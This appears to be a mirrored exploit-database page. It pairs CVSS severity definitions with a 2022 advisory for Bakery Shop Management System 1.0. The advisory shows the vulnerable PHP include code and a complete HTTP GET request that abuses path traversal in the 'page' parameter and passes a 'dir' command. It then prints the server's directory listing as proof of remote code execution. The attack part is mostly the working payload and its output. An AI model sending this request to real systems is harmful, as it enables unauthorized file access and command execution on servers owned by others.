The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Bakery Shop Management System 1.0 Local File Inclusion
# Title: Bakery Shop Management System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once
```
require_once('DBConnection.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){
header("Location:./");
exit;
}
```
[+] Payload GET
```
GET //bsms/?page=../../../0day&515=dir HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL
#Response
```
<div class="container py-3" id="page-container">
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA
Directory of C:\xampp\htdocs\bsms
04/06/2022 04:18 AM <DIR> .
04/06/2022 05:05 AM <DIR> ..
02/14/2022 10:39 AM 16,358 Actions.php
08/04/2021 11:04 PM <DIR> css
02/14/2022 11:55 AM <DIR> database
09/09/2021 11:54 AM <DIR> DataTables
02/14/2022 11:55 AM 865 DBConnection.php
08/05/2021 03:09 AM <DIR> Font-Awesome-master
02/14/2022 12:00 PM 10,407 home.php
02/14/2022 11:07 AM <DIR> images
02/14/2022 02:26 PM 10,018 index.php
09/11/2021 11:40 AM <DIR> js
02/14/2022 11:11 AM 4,372 login.php
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/qLNHh9Q.png
https://i.imgur.com/XDSsyNL.jpg
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